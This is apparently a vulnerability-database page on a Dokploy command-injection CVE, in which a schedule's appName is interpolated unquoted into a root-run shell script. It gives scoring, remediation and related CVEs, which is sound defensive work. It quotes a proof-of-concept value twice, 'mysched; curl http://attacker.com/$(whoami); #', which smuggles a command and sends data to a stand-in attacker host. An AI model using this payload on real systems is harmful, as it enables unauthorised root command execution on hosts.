Skip to main content

Dokploy CVE-2026-129985

| EUVDEUVD-2026-129322 HIGH
Command Injection (CWE-77)
2026-11-18 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privilege Dokploy user
  2. Delivery
    Create/update dokploy-server schedule
  3. Exploit
    Inject shell metacharacters in appName
  4. Execution
    fullPath interpolated unquoted into shell script
  5. Persist
    execAsync runs mkdir/touch chain
  6. Impact
    Arbitrary commands execute as root on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated Dokploy account with permission to create or update a schedule of scheduleType 'dokploy-server' (the code path that calls execAsync on the interpolated script). The attacker-controlled input is the schedule's appName field, which is path.join'd into SCHEDULES_PATH and interpolated without shell quoting into the mkdir/rm/touch/chmod/base64 command string. Exploitation limits: it is gated by authentication and by holding schedule create/update rights (PR:L, not unauthenticated), and is confined to the dokploy-server schedule type. Resulting impact severity depends on the Dokploy process privilege level - on typical installations Dokploy runs with high/root privileges to manage Docker, so injected commands execute as root. Affected versions are prior to 0.31.1; upgrading to 0.31.1 (which quotes paths via shell-quote) is the fix.

Impact

This is a genuine high-priority issue, not a CVSS-inflated paper risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) describes a network-reachable, low-complexity attack requiring only low-privilege authentication, with high confidentiality, integrity and availability impact on the vulnerable system (VC:H/VI:H/VA:H) - consistent with the description's claim of OS command execution at Dokploy process privileges, typically root. The GHSA advisory rates it Critical (10.0) while the input CVSS 4.0 base is 8.7; the difference stems largely from PR:L (an authenticated schedule-creation capability is required) rather than PR:N, which is the main factor limiting mass, unauthenticated exploitation. No EPSS score and no CISA KEV entry are present in the provided data, so there is no evidence of active in-the-wild exploitation; the vuln.today decision label is 'this_week' (not act_now/emergency). However, the GHSA advisory includes a concrete, documented proof-of-concept (appName set to 'mysched; curl http://attacker.com/$(whoami); #'), so a working exploitation path is publicly described even though the input does not confirm packaged, weaponized exploit code. Net: real, serious, and straightforward to exploit for any user who already holds dokploy-server schedule create/update rights - prioritize patching, but note the authentication gate means this is not an unauthenticated internet-wide worm candidate.

Exploit ScenarioDerived

An authenticated Dokploy user with permission to create or update a dokploy-server schedule sets the schedule appName to a value containing shell metacharacters (e.g. 'mysched; curl http://attacker.com/$(whoami); #'); when the schedule is saved, Dokploy interpolates this unquoted value into a shell command (mkdir -p, touch, chmod, base64 -d) and the injected commands execute with the Dokploy process privileges, commonly root. The GHSA advisory documents a step-by-step PoC demonstrating this, so the attack path is publicly described, though the input does not confirm it as packaged working exploit code.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 18, 2026

Command injection in Dokploy before 0.31.1 lets an authenticated user who can create or update a 'dokploy-server' schedule achieve arbitrary command execution as the Dokploy process - typically root, since Dokploy needs high privileges to manage Docker. The schedule's appName field is path-joined into the schedules directory and interpolated unquoted into the mkdir/rm/touch/chmod/base64 shell script, so a crafted name such as one containing '; curl ...; #' breaks out of the intended command. No active exploitation is confirmed (not in CISA KEV) and no verified working exploit code has been identified at time of analysis; the GitHub advisory includes a PoC walkthrough, and the reported proof of concept demonstrates a public PoC reference that is not verified as working exploit code by this assessment. Version 0.31.1 fixes the issue by quoting paths with shell-quote and by omitting appName from the exposed schema relations.

RemediationAI

Vendor-released patch: upgrade to Dokploy 0.31.1 (https://github.com/Dokploy/dokploy/releases/tag/v0.31.1), which implements the fix merged in PR https://github.com/Dokploy/dokploy/pull/5906 and commit https://github.com/Dokploy/dokploy/commit/0fa3101a7e76173c60a3015d37a02e7c892b9ab3 by wrapping every interpolated path (fullPath, script.sh, deployment log paths) with shell-quote's quote() and by omitting appName and organizationId from the schedulesRelations schema; the advisory at https://github.com/Dokploy/dokploy/security/advisories/GHSA-8m32-h7qx-8r79 additionally recommends enforcing a strict appName regex such as ^[a-z0-9-]+$ at the schema layer and replacing shell string interpolation with argument arrays via spawn for defense in depth. Where immediate upgrade is not possible, restrict the ability to create or update schedules to trusted administrators only, since exploitation is gated by authenticated schedule create/update rights on the 'dokploy-server' schedule type, and audit existing schedules for appName values containing shell metacharacters; these reduce exposure but do not remove the vulnerable interpolation, so treating 0.31.1 as the only complete fix is appropriate. Also verify the privilege level the Dokploy process runs under, because injected commands inherit it and root-level service accounts turn this into full host compromise.

Affected VersionsENISA

dokploy < 0.31.1

Affected Packages

euvd dokploy fix: 0.31.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is a self-hostable PaaS built in TypeScript around a server package that shells out to system utilities for Docker-driven workloads. The root cause class is CWE-77 (command injection): in packages/server/src/services/schedule.ts the handleScript function computes fullPath = path.join(SCHEDULES_PATH, schedule.appName) and then embeds that value directly into a multi-line shell script executed with execAsync - mkdir -p, rm -f, touch, chmod +x, and a base64 decode redirect into script.sh. Because appName is user-supplied and neither schema-validated nor shell-escaped, shell metacharacters (semicolons, command substitution, comment markers) are interpreted by the shell. Note that a filesystem-safety primitive such as path.join does not neutralize shell metacharacters, which is the conceptual gap here. The upstream fix imports quote() from shell-quote and wraps fullPath, the script file path, and deployment log paths before interpolation, and additionally omits appName and organizationId from the schedulesRelations schema to prevent those fields leaking through relation queries. Only the 'dokploy-server' schedule type takes the vulnerable execAsync path; the CPE cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:* covers all releases prior to the fixed 0.31.1 tag.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable authenticated feature (PR:L) with unsanitized input directly injected into a shell string (AC:L), yielding full host command execution (C/I/A:H); scope kept Unchanged consistent with the input's subsequent-system metrics.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Nov 18, 2026 - 23:19 EUVD
CVE Published
Nov 18, 2026 - 22:22 cve.org
HIGH 8.7

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.31.1, a user-controlled schedule appName is joined into the schedule directory path and interpolated without shell quoting into commands that create the directory and write the schedule script. An authenticated user who can create or update a dokploy-server schedule can inject operating-system commands that execute with the Dokploy process privileges when the schedule is saved, including root privileges on typical installations. This issue is fixed in version 0.31.1.

Technical POC Analysis

Command injection (CWE-77) in Dokploy's schedule service.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

A high-severity command injection flaw in Dokploy, a platform used to manage Docker deployments, could allow authenticated users with schedule creation privileges to execute arbitrary commands as the root user. This poses a significant risk to organizations relying on Dokploy for container orchestration, as compromise could lead to full control of the host and potentially the entire container environment.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 53% exploitable
Prevalence
Low
niche self-hostable open-source PaaS, limited enterprise production footprint
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy